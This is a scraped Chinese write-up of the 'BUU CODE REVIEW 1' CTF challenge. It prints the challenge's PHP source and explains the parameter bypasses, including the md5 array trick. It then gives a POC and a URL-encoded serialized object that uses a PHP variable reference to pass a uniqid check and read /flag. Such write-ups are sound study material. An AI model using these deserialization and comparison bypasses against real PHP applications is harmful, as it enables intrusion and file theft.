当前位置: 首页 > news >正文

BUU CODE REVIEW 1

BUU CODE REVIEW 1

考点:PHP变量引用

源码直接给了

image-20230719164057065

<?phphighlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}

我们最后一步肯定是BUU类中__destruct()构造方法中的语句echo file_get_contents("/flag");


分析代码,我们需要先绕过三个if语句,使得我们能成功反序列化obj变量

绕过第一、第二个if:

?pleaseget=1              //GET
pleasepost=2                //POST

绕过第三个if:

if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])

要求我们POST提交的参数md51md52值不相同但是md5编码后弱相等。

我们可以0e碰撞绕过也可以用数组绕过。

md51[]=1&md52[]=2          //POST

成功反序列化之后,我们要满足if($this->correct === $this->input) 判断条件才能给flag。

类中属性correct在判断之前有被赋值:$this->correct = base64_encode(uniqid());

uniqid()函数:获取一个带前缀、基于当前时间微秒数的唯一ID。

所以说类中属性correct每一微秒都在改变,我们无法实际预测其具体的值。

如果要满足$this->correct === $this->input的话,我们只能使用变量引用

变量引用原理类似于C语言中的指针,使两个变量指向同一个地址,那么两个变量值就一定相等了。

POC:

<?php
class BUU {public $correct = "";public $input = "";public function __construct() {$this->input=&$this->correct;     //input的地址就是correct的地址。不管correct怎么变,input都等于correct。}}$a=new BUU();
echo urlencode(serialize($a));?>

payload:

obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D        //POST

image-20230719165657398

http://www.lryc.cn/news/105231.html

相关文章:

  • django使用ztree实现树状结构效果,子节点实现动态加载(l懒加载)
  • 认识springboot 之 了解它的日志 -4
  • 关于大规模数据处理的解决方案
  • 免费快速下载省市区县行政区的Shp数据
  • MAC下配置android-sdk
  • Hive-数据倾斜
  • Java多线程(三)
  • Linux操作系统3-项目部署
  • 软件测试面试题——接口自动化测试怎么做?
  • 如何在医疗器械行业运用IPD?
  • 16. Spring Boot 统一功能处理
  • PostgreSQL-数据库命令
  • 面试题:说说JavaScript中内存泄漏的几种情况?垃圾回收机制
  • HTML基础介绍1
  • 【腾讯云 Cloud Studio 实战训练营】Redisgo_task 分布式锁实现
  • Linux CentOS系统怎么下载软件
  • SNAT和DNAT原理与应用
  • Java8实战-总结11
  • 2023爱分析·低代码厂商全景报告|爱分析报告
  • 视频两侧有黑边怎么处理?教你裁切视频黑边方法
  • 如何设计一个Android端高性能日志监控系统
  • maven下载按照及初次使用相关配置
  • opencv05-掩膜
  • 通讯软件013——分分钟学会Kepware OPC AE Server仿真配置
  • Windows下安装Hive(包安装成功)
  • count(列名) ,count(1)与count(*) 有何区别?
  • node.js判断元素是否包括
  • 基于SpringBoot+Vue的地方废物回收机构管理系统设计与实现(源码+LW+部署文档等)
  • 【SAP MII学习】Day01--Overview, Security Services, and Workbench
  • 枚举类常见用法,A Guide to Java Enums